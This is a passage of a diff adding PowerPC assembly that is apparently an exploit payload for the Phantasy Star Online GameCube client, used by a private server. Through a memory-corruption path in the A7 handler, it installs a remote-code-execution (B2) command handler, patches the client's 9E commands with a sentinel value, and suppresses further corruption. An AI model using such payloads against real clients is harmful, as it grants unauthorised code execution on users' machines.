+ 0x18] + li r5, 0x08 + lwbrx r3, [r4 + r5] # checksum addr + li r5, 0x0C + lwbrx r4, [r4 + r5] # checksum size + lis r0, 0x8010 + ori r0, r0, 0xF834 + mtctr r0 + bctrl # crc32(checksum_addr, checksum_size) + li r8, 0x10 + stwbrx [r1 + r8], r3 + + # Send the response (B3 command) + lwz r3, [r1 + 0x14] + lwz r4, [r3 + 0x18] + lwz r4, [r4 + 0x28] + mtctr r4 + addi r4, r1, 0x08 + li r5, 0x0C + bctrl # PSONetworkContext::send_command(ctx, &reply_data, 0x0C) + + # Clean up stack and return + lwz r0, [r1 + 0x44] + addi r1, r1, 0x40 + mtlr r0 + blr + +get_handle_B2_ptr: + mflr r9 # r9 = &handle_B2 + bl get_handle_B2_end_ptr +get_handle_B2_end_ptr: + mflr r10 + subi r10, r10, 8 # r10 = pointer to end of handle_B2 + + # Copy handle_B2 to 8000BD80, which is normally unused by the game + lis r12, 0x8000 + ori r12, r12, 0xBD80 # r12 = 0x8000BD80 + subi r8, r12, 4 # r8 = r12 - 4 (so we can use stwu) + subi r9, r9, 4 # r9 = r9 - 4 (so we can use lwzu) + sub r7, r10, r9 + rlwinm r7, r7, 30, 2, 31 # r7 = number of words to copy + mtctr r7 +copy_handle_B2_word_again: + lwzu r0, [r9 + 4] + stwu [r8 + 4], r0 + bdnz copy_handle_B2_word_again + + # Invalidate the caches appropriately for the newly-copied code + lis r9, 0x8000 + ori r9, r9, 0xC324 + mtctr r9 + mr r3, r12 + rlwinm r4, r7, 2, 0, 29 + bctrl # flush_code(copied_B2_handler, copied_B2_handler_bytes) + + # Replace the command handler table entry for command 0E (which appears to be + # a legacy command - it's unused by any modern private server and was + # presumably unused by Sega too) with our copied B2 implementation + lis r5, 0x8044 + ori r5, r5, 0xF684 + li r0, 0x00B2 + stw [r5], r0 + stw [r5 + 0x0C], r12 + + # Patch both places in the code where command 9E is sent to make them include + # a sentinel value that newserv can use to determine if the client has already + # run the code in this file + bl get_patch_9E_1_ptr +patch_9E_1: + lis r4, 0x5F5C + ori r4, r4, 0xA297 + stw [r1 + 0x14], r4 # Set cmd.unused1 to 0x5F5CA297 (in send_9E_long) +get_patch_9E_1_ptr: + lis r3, 0x800F + ori r3, r3, 0x3338 + mflr r4 + lwz r0, [r4] + stw [r3], r0 + lwz r0, [r4 + 4] + stw [r3 + 4], r0 + lwz r0, [r4 + 8] + stw [r3 + 8], r0 + li r4, 0x20 + mtctr r9 + bctrl # flush_code(patch_9E_1_dest, 0x20) + + bl get_patch_9E_2_ptr +patch_9E_2: + lis r4, 0x5F5C + ori r4, r4, 0xA297 + stw [r1 + 0x60], r4 # Set cmd.unused1 to 0x5F5CA297 (in handle_02) +get_patch_9E_2_ptr: + lis r3, 0x800F + ori r3, r3, 0x3644 + mflr r4 + lwz r0, [r4] + stw [r3], r0 + lwz r0, [r4 + 4] + stw [r3 + 4], r0 + lwz r0, [r4 + 8] + stw [r3 + 8], r0 + li r4, 0x20 + mtctr r9 + bctrl # flush_code(patch_9E_2_dest, 0x20) + + # Finally, patch the A7 handler function (which is on the current callstack) + # so that it does nothing else if this function returns null, which prevents + # further memory corruption. This changes a beq opcode (which never triggers + # under normal circumstances) to skip a couple more function calls, one of + # which would cause memory corruption if executed because the original buffer + # is smaller than 0x100 bytes. + lis r3, 0x8010 + ori r3, r3, 0xFD8A + li r4, 0x0064 + sth [r3], r4 + rlwinm r3, r3, 0, 0, 27 + li r4, 0x20 + mtctr r9 + bctrl # flush_code(patched_opcode_address & 0xFFFFFFF0, 0x20) + + # Return null instead of a malloc'ed block, which triggers the conditional + # branch we just patched above + li r3, 0 + mtlr r11 + blr